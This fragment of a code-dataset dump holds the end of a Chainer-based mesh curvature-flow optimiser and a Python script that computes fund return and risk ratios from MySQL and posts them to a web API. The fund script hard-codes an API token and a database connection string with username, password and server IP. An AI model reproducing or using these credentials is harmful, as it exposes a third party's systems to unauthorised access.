args.target_curvature == -99 )[0]))\r\n# np.savetxt(\"cv.txt\", args.constrained_vert, fmt='%i')\r\n if args.salt:\r\n vert[args.free_vert] += np.random.randn(*vert[args.free_vert].shape)*1e-4\r\n\r\n\r\n print(\"\\nvertices {}, faces {}, fixed vertices {}, vertices with target curvature {}\".format(len(vert),len(face),len(args.fixed_vert),len(args.constrained_vert)))\r\n if args.batchsize < 0:\r\n args.batchsize = (len(args.constrained_vert)+1) //2\r\n ######################################\r\n N = neighbour(len(vert),face)\r\n# ca = compute_curvature(vert,face,np)\r\n ca = compute_curvature_sub(vert,N,args.constrained_vert,verbose=True)\r\n# ca = compute_cos_angle_sub(vert,N,np.zeros(len(vert)),args.vert,np)\r\n print(\"\\n\\n Initial Curvature: \", [round(c.item(),5) for c in ca], \"\\n\\n\")\r\n\r\n coords = L.Parameter(vert)\r\n opt = optim[args.optimizer](args.learning_rate)\r\n opt.setup(coords)\r\n id_iter = chainer.iterators.SerialIterator(chainer.dataset.tabular.from_data(args.constrained_vert),args.batchsize)\r\n\r\n if args.gpu >= 0:\r\n coords.to_gpu() \r\n\r\n updater = Updater(\r\n models=coords,\r\n iterator=id_iter,\r\n optimizer={'opt': opt},\r\n device=args.gpu,\r\n params={'args': args, 'faces': face, 'N': N, 'fixed_coords': fixed_coords}\r\n )\r\n trainer = training.Trainer(updater, (args.epoch, 'epoch'), out=args.outdir)\r\n\r\n log_interval = 5, 'iteration'\r\n trainer.extend(extensions.LogReport(trigger=log_interval))\r\n if extensions.PlotReport.available():\r\n trainer.extend(extensions.PlotReport(['opt/loss', 'opt/loss_bdv', 'opt/loss_up'],'iteration', file_name='loss.png', postprocess=plot_log))\r\n trainer.extend(extensions.PrintReport([\r\n 'iteration', 'lr', 'opt/loss', 'opt/loss_bdv', 'opt/loss_up','elapsed_time',\r\n ]),trigger=log_interval)\r\n trainer.extend(extensions.ProgressBar(update_interval=1))\r\n trainer.extend(extensions.observe_lr('opt'), trigger=log_interval)\r\n trainer.extend(extensions.LogReport(trigger=log_interval))\r\n ## annealing\r\n if args.optimizer in ['Adam','AdaBound','Eve']:\r\n lr_target = 'eta'\r\n else:\r\n lr_target = 'lr'\r\n trainer.extend(CosineShift(lr_target, args.epoch//2, optimizer=opt), trigger=(1, 'epoch'))\r\n trainer.run()\r\n\r\n ####################################################\r\n ## result\r\n if args.gpu >= 0:\r\n vert2 = coords.W.array.get()\r\n else:\r\n vert2 = coords.W.array\r\n ca_final = compute_curvature_sub(vert2,N,args.constrained_vert,verbose=True)\r\n print(\"\\n\\n (final,target) Curvature: \", [(round(ca_final[i].item(),5),args.target_curvature[j]) for i,j in enumerate(args.constrained_vert)])\r\n\r\n print(\"boundary squared-error: \", (np.sum( (fixed_coords-vert2[args.fixed_vert])**2 ) ))\r\n\r\n # output\r\n plydata['vertex']['x']=vert2[:,0]\r\n plydata['vertex']['y']=vert2[:,1]\r\n plydata['vertex']['z']=vert2[:,2]\r\n plydata.write(os.path.join(args.outdir,args.output))\r\n # graphs\r\n n = len(ca)\r\n sns.violinplot(x=np.array([0]*n ), y=[c.item() for c in ca_final])\r\n plt.savefig(os.path.join(args.outdir,\"curvature_final.png\"))\r\n plt.close()\r\n sns.violinplot(x=np.array([0]*n ), y=[c.item() for c in ca])\r\n plt.savefig(os.path.join(args.outdir,\"curvature_init.png\"))\r\n plt.close()\r\n error = [abs(ca_final[i].item()-args.target_curvature[j]) for i,j in enumerate(args.constrained_vert)]\r\n sns.violinplot(x=np.array([0]*n), y=error, cut=0)\r\n plt.savefig(os.path.join(args.outdir,\"error_final.png\"))\r\n plt.close()\r\n error = [abs(ca[i].item()-args.target_curvature[j]) for i,j in enumerate(args.constrained_vert)]\r\n sns.violinplot(x=np.array([0]*n), y=error, cut=0)\r\n plt.savefig(os.path.join(args.outdir,\"error_init.png\"))\r\n plt.close()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "repo_name": "shizuo-kaji/curvature_flow", "sub_path": "curvatureFlow.py", "file_name": "curvatureFlow.py", "file_ext": "py", "file_size_in_byte": 17216, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.use", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 38, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 45, "usage_type": "call"}, {"api_name": "mpl_toolkits.mplot3d.Axes3D", "line_number": 46, "usage_type": "call"}, {"api_name": "mpl_toolkits.mplot3d", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "mpl_toolkits.mplot3d.art3d.Poly3DCollection", "line_number": 56, "usage_type": "call"}, {"api_name": "mpl_toolkits.mplot3d.art3d", "line_number": 56, "usage_type": "attribute"}, {"api_name": "mpl_toolkits.mplot3d", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "chainer.Variable", "line_number": 69, "usage_type": "call"}, {"api_name": "chainer.Variable", "line_number": 70, "usage_type": "call"}, {"api_name": "chainer.links", "line_number": 76, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 76, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 76, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 77, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 77, "usage_type": "name"}, {"api_name": "chainer.links", "line_number": 78, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 78, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 79, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 79, "usage_type": "name"}, {"api_name": "chainer.functions.scatter_add", "line_number": 83, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 83, "usage_type": "name"}, {"api_name": "chainer.functions.scatter_add", "line_number": 84, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 84, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 91, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 91, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 92, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 92, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 93, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 93, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 94, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 94, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 95, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 95, "usage_type": "name"}, {"api_name": "chainer.Variable", "line_number": 106, "usage_type": "call"}, {"api_name": "chainer.links", "line_number": 112, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 112, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 112, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 113, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 113, "usage_type": "name"}, {"api_name": "chainer.links", "line_number": 114, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 114, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 114, "usage_type": "name"}, {"api_name": "chainer.functions.scatter_add", "line_number": 115, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 115, "usage_type": "name"}, {"api_name": "chainer.functions.arccos", "line_number": 115, "usage_type": "call"}, {"api_name": "chainer.functions.sum", "line_number": 122, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 122, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 123, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 123, "usage_type": "name"}, {"api_name": "chainer.functions.sum", "line_number": 124, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 124, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 125, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 125, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 126, "usage_type": "attribute"}, {"api_name": "chainer.functions.sum", "line_number": 126, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 126, "usage_type": "name"}, {"api_name": "chainer.functions.arccos", "line_number": 126, "usage_type": "call"}, {"api_name": "chainer.functions.sum", "line_number": 128, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 128, "usage_type": "name"}, {"api_name": "chainer.functions.sign", "line_number": 135, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 135, "usage_type": "name"}, {"api_name": "chainer.functions.sign", "line_number": 138, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 138, "usage_type": "name"}, {"api_name": "chainer.functions.sqrt", "line_number": 149, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 150, "usage_type": "attribute"}, {"api_name": "chainer.functions.sum", "line_number": 150, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 150, "usage_type": "name"}, {"api_name": "chainer.functions.arccos", "line_number": 150, "usage_type": "call"}, {"api_name": "plyfile.PlyElement.describe", "line_number": 156, "usage_type": "call"}, {"api_name": "plyfile.PlyElement", "line_number": 156, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 156, "usage_type": "call"}, {"api_name": "plyfile.PlyElement.describe", "line_number": 157, "usage_type": "call"}, {"api_name": "plyfile.PlyElement", "line_number": 157, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 157, "usage_type": "call"}, {"api_name": "plyfile.PlyData", "line_number": 158, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 169, "usage_type": "name"}, {"api_name": "chainer.functions", "line_number": 172, "usage_type": "name"}, {"api_name": "chainer.functions", "line_number": 173, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 174, "usage_type": "name"}, {"api_name": "chainer.training", "line_number": 178, "usage_type": "attribute"}, {"api_name": "chainer.report", "line_number": 205, "usage_type": "call"}, {"api_name": "chainer.functions.sum", "line_number": 209, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 209, "usage_type": "name"}, {"api_name": "chainer.functions.relu", "line_number": 216, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 216, "usage_type": "name"}, {"api_name": "chainer.report", "line_number": 217, "usage_type": "call"}, {"api_name": "chainer.functions.sum", "line_number": 221, "usage_type": "call"}, {"api_name": "chainer.functions", "line_number": 221, "usage_type": "name"}, {"api_name": "chainer.report", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path", "line_number": 233, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 238, "usage_type": "call"}, {"api_name": "consts.optim.keys", "line_number": 259, "usage_type": "call"}, {"api_name": "consts.optim", "line_number": 259, "usage_type": "name"}, {"api_name": "chainer.config", "line_number": 267, "usage_type": "attribute"}, {"api_name": "plyfile.PlyData.read", "line_number": 271, "usage_type": "call"}, {"api_name": "plyfile.PlyData", "line_number": 271, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 272, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 290, "usage_type": "call"}, {"api_name": "numpy.uint32", "line_number": 291, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 294, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 294, "usage_type": "attribute"}, {"api_name": "numpy.loadtxt", "line_number": 301, "usage_type": "call"}, {"api_name": "numpy.uint16", "line_number": 301, "usage_type": "attribute"}, {"api_name": "numpy.where", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.random.randn", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 306, "usage_type": "attribute"}, {"api_name": "chainer.links.Parameter", "line_number": 319, "usage_type": "call"}, {"api_name": "chainer.links", "line_number": 319, "usage_type": "name"}, {"api_name": "consts.optim", "line_number": 320, "usage_type": "name"}, {"api_name": "chainer.iterators.SerialIterator", "line_number": 322, "usage_type": "call"}, {"api_name": "chainer.iterators", "line_number": 322, "usage_type": "attribute"}, {"api_name": "chainer.dataset.tabular.from_data", "line_number": 322, "usage_type": "call"}, {"api_name": "chainer.dataset", "line_number": 322, "usage_type": "attribute"}, {"api_name": "chainer.training.Trainer", "line_number": 334, "usage_type": "call"}, {"api_name": "chainer.training", "line_number": 334, "usage_type": "name"}, {"api_name": "chainer.training.extensions.LogReport", "line_number": 337, "usage_type": "call"}, {"api_name": "chainer.training.extensions", "line_number": 337, "usage_type": "name"}, {"api_name": "chainer.training.extensions.PlotReport.available", "line_number": 338, "usage_type": "call"}, {"api_name": "chainer.training.extensions.PlotReport", "line_number": 338, "usage_type": "attribute"}, {"api_name": "chainer.training.extensions", "line_number": 338, "usage_type": "name"}, {"api_name": "chainer.training.extensions.PlotReport", "line_number": 339, "usage_type": "call"}, {"api_name": "chainer.training.extensions", "line_number": 339, "usage_type": "name"}, {"api_name": "chainer.training.extensions.PrintReport", "line_number": 340, "usage_type": "call"}, {"api_name": "chainer.training.extensions", "line_number": 340, "usage_type": "name"}, {"api_name": "chainer.training.extensions.ProgressBar", "line_number": 343, "usage_type": "call"}, {"api_name": "chainer.training.extensions", "line_number": 343, "usage_type": "name"}, {"api_name": "chainer.training.extensions.observe_lr", "line_number": 344, "usage_type": "call"}, {"api_name": "chainer.training.extensions", "line_number": 344, "usage_type": "name"}, {"api_name": "chainer.training.extensions.LogReport", "line_number": 345, "usage_type": "call"}, {"api_name": "chainer.training.extensions", "line_number": 345, "usage_type": "name"}, {"api_name": "cosshift.CosineShift", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 363, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 369, "usage_type": "call"}, {"api_name": "os.path", "line_number": 369, "usage_type": "attribute"}, {"api_name": "seaborn.violinplot", "line_number": 372, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 372, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 373, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 373, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path", "line_number": 373, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 374, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 374, "usage_type": "name"}, {"api_name": "seaborn.violinplot", "line_number": 375, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 375, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 376, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 376, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 376, "usage_type": "call"}, {"api_name": "os.path", "line_number": 376, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 377, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 377, "usage_type": "name"}, {"api_name": "seaborn.violinplot", "line_number": 379, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 379, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 380, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 380, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 380, "usage_type": "call"}, {"api_name": "os.path", "line_number": 380, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 381, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 381, "usage_type": "name"}, {"api_name": "seaborn.violinplot", "line_number": 383, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 383, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 384, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 384, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path", "line_number": 384, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 385, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 385, "usage_type": "name"}]} +{"seq_id": "1063897353", "text": "from importlib import reload\nimport sys\nsys.path.append(\"D:/Projects/PythonProject/ZSAssetManagementResearch/Scripts/algorithm\")\nimport datetime as dt\nimport json\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom sqlalchemy import create_engine, inspect\nimport TimeModule\nimport DerivedIndicator_Fund_2 as D\n\nurl_status = \"http://120.55.69.127:8080/get_data-api/program/forward/status\"\nurl_progress = \"http://120.55.69.127:8080/get_data-api/program/forward/progress\"\nurl_result = \"http://120.55.69.127:8080/get_data-api/program/get_data/write\"\n\ntoken = \"bda1850a2a907fa33b0cb1241f5f742bb4138b1c\"\n#params = sys.argv[1]\nparams = \"\\{exec_type:PROGRAM_TASK,exec_uuid:567e482c-364f-41c4-9e88-2f7364e7bcec\\}\" #exec_type: TEST\npl = {\"token\":str(token), \"parms\":str(params)}\n\ns = requests.session()\n#s.headers[\"Token\"] = token\nengine = create_engine(\"mysql+pymysql://zsadmin:zsadmin456@120.55.69.127:3306/base?charset=utf8\")\nengine.connect()\n\nid_whole = engine.execute(\"SELECT DISTINCT fund_id from fund_nv_data_source\").fetchall()\nid_whole = list(map(lambda x: x[0], id_whole))\n\nclass Data:\n def __init__(self, now=dt.datetime.now(), **kwargs):\n self._interval = [\"w\",\"m\",\"s\",\"y\",1,3,6,12,24,36,60]\n self._now = now\n self._end = dict(zip(self._interval, list(map(TimeModule.date_infimum, self._interval, [now] * len(self._interval)))))\n self._data = {}\n self._kwargs = kwargs\n \n def id_generator(self, start, end):\n ids = []\n for i in range(start, min(end,len(id_whole))):\n ids.append(id_whole[i])\n ids = str(tuple(ids))\n return ids\n\n def get_data(self, id_start=None, id_end=None):\n if \"start\" in self._kwargs.keys() and \"end\" in self._kwargs.keys():\n id_start = self._kwargs[\"start\"]\n id_end = self._kwargs[\"end\"]\n\n fields = \"fund_id, fund_name, statistic_date, nav, added_nav, swanav\"\n table = \"fund_nv_data_source\"\n self._data = pd.read_sql(\"SELECT \" + fields + \" FROM \" + table + \" WHERE fund_id in \" + self.id_generator(id_start, id_end), engine).sort_values([\"fund_id\",\"statistic_date\"], ascending=[True, False])\n self._data.index = range(len(self._data)) \n @property\n def data(self):\n return self._data\n\n @property\n def end(self):\n return self._end\n \n @property\n def now(self):\n return self._now\n\n @property\n def interval(self):\n return self._interval\n\nnow = dt.datetime(2016,7,1)\nnow_str = now.strftime(\"%Y-%m-%d %H:%M:%S\")\nupdate_time_str = dt.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\ndata = Data(now=now,start=0, end=1000)\ndata.get_data()\n\ninterval = [\"w\",\"m\",\"s\",\"y\",1,3,6,12,24,36,60]\ninterval2 = [\"y\",1,3,6,12,24,36,60]\nvariable_name1 = [\"ir\", \"r_a\", \"er_a\"]\nvariable_name2 = [\"odds\", \"sharpe_a\", \"calmar_a\", \"sortino_a\", \"info_a\", \"jensen_a\", \"treynor_a\"]\ninterval_mapping = {\"w\":\"week_\", \"m\":\"month_\", \"s\":\"quarter_\", \"y\":\"year_\",\n 1:\"m1_\", 3:\"m3_\", 6:\"m6_\", 12:\"y1_\",\n 24:\"y2_\", 36:\"y3_\", 60:\"y5_\"}\nindicator_mapping = {\"ir\":\"return\", \"r_a\":\"return_a\", \"er_a\":\"excess_a\", \"odds\":\"odds\",\n \"sharpe_a\":\"sharp_a\", \"calmar_a\":\"calmar_a\", \"sortino_a\":\"sor_a\",\n \"info_a\":\"inf_a\", \"jensen_a\":\"jensen_a\", \"treynor_a\":\"tr_a\"}\n\n#\nbm = pd.read_sql(\"SELECT HS300, statistic_date FROM market_index WHERE statistic_date>= '\" + data.end[60].strftime(\"%Y-%m-%d\") + \"' AND statistic_date <= '\" + data.now.strftime(\"%Y-%m-%d\") + \"'\", engine).sort_values(\"statistic_date\", ascending =False)\nbm.index = range(len(bm))\nr_bm = []\nfor k in interval:\n t_match = TimeModule.match_timeseries_weekly(bm[\"statistic_date\"].tolist(), k, now, data.end[k])\n bm_reshape = TimeModule.reshape_data(t_match, bm, \"statistic_date\", [\"HS300\"])[\"HS300\"]\n r_bm.append(D.value_series(bm_reshape))\n\ntbond = pd.read_sql(\"SELECT 1y_treasury_rate, statistic_date FROM market_index WHERE statistic_date>= '\" + (data.end[60] - dt.timedelta(180)).strftime(\"%Y-%m-%d\") + \"' AND statistic_date <= '\" + data.now.strftime(\"%Y-%m-%d\") + \"'\", engine).sort_values(\"statistic_date\", ascending =False)\ntbond.index = range(len(tbond))\ntbond[\"1y_treasury_rate\"].fillna(method=\"backfill\",inplace=True)\ntbond = tbond.loc[tbond[\"statistic_date\"] >= data.end[60]]\nr_f = []\ndef test(x):\n if x is not None:\n return (1 + x / 100) ** (1 / 52) - 1\n else:\n return None\nfor k in interval:\n t_match = TimeModule.match_timeseries_weekly(tbond[\"statistic_date\"].tolist(), k, now, data.end[k])\n tbond_reshape = TimeModule.reshape_data(t_match, tbond, \"statistic_date\", [\"1y_treasury_rate\"])[\"1y_treasury_rate\"]\n r_f.append(list(map(test, tbond_reshape)))\nfor seq in r_f: #unstable\n for i in range(len(seq) - 1):\n if seq[i] is None:\n seq[i] = seq[i + 1]\n\nfund_ids = data.data[\"fund_id\"].drop_duplicates().tolist()\ndatas = [] #Container for each {}\nfor i in range(10):\n if i % int(len(fund_ids) / 20) == 0:\n print(\"Sending Progress%s: %s\" % (str(int(i / int(len(fund_ids) / 20) * 5)), str(dt.datetime.now())))\n #pl_progress = pl.copy()\n #pl_progress[\"progress\"] = str(int(i / int(len(fund_ids) / 20) * 5))\n #r = s.post(url_progress, pl_progress)\n #print(\"Done: %s\" % (str(dt.datetime.now())))\n #print(r.text + \"\\n\")\n data_i = data.data.loc[data.data[\"fund_id\"] == fund_ids[i]] #get get_data\n t_real = data_i[\"statistic_date\"].tolist()\n \n nav = []\n r = []\n for k in interval:\n t_match = TimeModule.match_timeseries_weekly(t_real, k, now, data.end[k]) \n nav.append(TimeModule.reshape_data(t_match, data_i, \"statistic_date\", [\"nav\"])[\"nav\"])\n \n\n r = list(map(D.value_series, nav))\n i_r = map(lambda x: str(x), list(map(D.interval_return, nav)))\n r_a = map(lambda x: str(x), list(map(D.return_a, r)))\n er_a = map(lambda x: str(x), list(map(D.excess_return_a, r, r_bm)))\n odds = map(lambda x: str(x), list(map(D.odds, r, r_bm))[3:])\n sharpe_a = map(lambda x: str(x), list(map(D.sharpe_a, r, r_f))[3:])\n calmar_a = map(lambda x: str(x), list(map(D.calmar_a, nav, r_f))[3:])\n sortino_a = map(lambda x: str(x), list(map(D.sortino_a, r, r_f))[3:])\n info_a = map(lambda x: str(x), list(map(D.info_a, r, r_bm))[3:])\n jensen_a = map(lambda x: str(x), list(map(D.jensen_a, r, r_bm, r_f))[3:])\n treynor_a = map(lambda x: str(x), list(map(D.treynor_a, r, r_bm, r_f))[3:])\n \n res1 = [i_r, r_a, er_a]\n res2 = [odds, sharpe_a, calmar_a, sortino_a, info_a, jensen_a, treynor_a]\n res_tmp = {\"fund_id\":fund_ids[i], \"statistic_date\":now.strftime(\"%Y-%m-%d %H:%M:%S\"), \"update_time\":dt.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}\n for res_seq, var in zip(res1, variable_name1):\n for res, int_ in zip(res_seq, interval):\n res_tmp[interval_mapping[int_] + indicator_mapping[var]] = res\n\n for res_seq, var in zip(res2, variable_name2):\n for res, int_ in zip(res_seq, interval2):\n res_tmp[interval_mapping[int_] + indicator_mapping[var]] = res\n datas.append(res_tmp)\n\n\n#i_mdd = list(map(lambda x: x[0],list(map(D.max_drawdown, nav))))\n\n#for key in interval():\n# datas.append({\"fund_id\":key, \"total_return\":\"%.7f\" % res_total[key],\n# \"statistic_date\":\"2016-08-04 16:17:00\"})\npl_result = pl.copy()\nfields = \"\"\nkeys = list(datas[0].keys())\nfor i in range(len(keys)):\n if i != 0 and i != len(keys) - 1:\n fields += \",%s\" % keys[i]\n elif i == 0:\n fields = keys[i]\n elif i == len(keys) - 1:\n fields += \",%s\" % keys[i]\n\nq = datas[0].copy()\nfor k in q.keys():\n if type(q[k]) is not str:\n q[k] = \"%.7f\" % float(q[k])\n\npl_result[\"result\"] = str({\"db_name\":\"base_test\",\n \"table_name\":\"fund_weekly_return\",\n \"param_fields\":fields,\n \"update_fields\":fields,\n \"datas\": datas\n })\n\n \nr = s.post(url_result, pl_result)\nprint(\"result_api:\\n%s\" % r.text)\n\npl_status = pl.copy()\npl_status[\"status\"] = \"EXEC_SUCCESS\"\nr = s.post(url_status, pl_status)\nprint(\"status_api:\\n%s\" % r.text)\n\n#{\"parms\":str({\"exec_id\":\"e55e9282-202e-4b6d-ba9a-b3efead9fb22\",\"exec_type\":\"TEST\"}),\n# \"result\":str({\"db_name\":\"base\",\n# \"table_name\":\"fund_info\",\n# \"param_fields\":\"fund_id,fund_name,reg_code,fund_member\",\n# \"update_fields\":\"fund_member\",\n# \"datas\":[{\"fund_id\":\"JR000001\",\"fund_member\":\"��С��\",\"fund_name\":\"�����ˮԴ\",\"reg_code\":\"SC7525\"},\n# {\"fund_id\":\"JR027113\",\"fund_member\":\"������\",\"fund_name\":\"��������1��\",\"reg_code\":\"\"}]\n# })\n# }\n\n", "repo_name": "dxcv/fund", "sub_path": "Scripts/Others/DEPRECATED/Script_f.py", "file_name": "Script_f.py", "file_ext": "py", "file_size_in_byte": 8756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "requests.session", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "attribute"}, {"api_name": "TimeModule.date_infimum", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pandas.read_sql", "line_number": 52, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 72, "usage_type": "attribute"}, {"api_name": "pandas.read_sql", "line_number": 88, "usage_type": "call"}, {"api_name": "TimeModule.match_timeseries_weekly", "line_number": 92, "usage_type": "call"}, {"api_name": "TimeModule.reshape_data", "line_number": 93, "usage_type": "call"}, {"api_name": "DerivedIndicator_Fund_2.value_series", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 96, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 96, "usage_type": "call"}, {"api_name": "TimeModule.match_timeseries_weekly", "line_number": 107, "usage_type": "call"}, {"api_name": "TimeModule.reshape_data", "line_number": 108, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "attribute"}, {"api_name": "TimeModule.match_timeseries_weekly", "line_number": 131, "usage_type": "call"}, {"api_name": "TimeModule.reshape_data", "line_number": 132, "usage_type": "call"}, {"api_name": "DerivedIndicator_Fund_2.value_series", "line_number": 135, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.interval_return", "line_number": 136, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.return_a", "line_number": 137, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.excess_return_a", "line_number": 138, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.odds", "line_number": 139, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.sharpe_a", "line_number": 140, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.calmar_a", "line_number": 141, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.sortino_a", "line_number": 142, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.info_a", "line_number": 143, "usage_type": "attribute"}, {"api_name": "DerivedIndicator_Fund_2.jensen_a", "line_number": 144, "usage_type": "attribute"}, 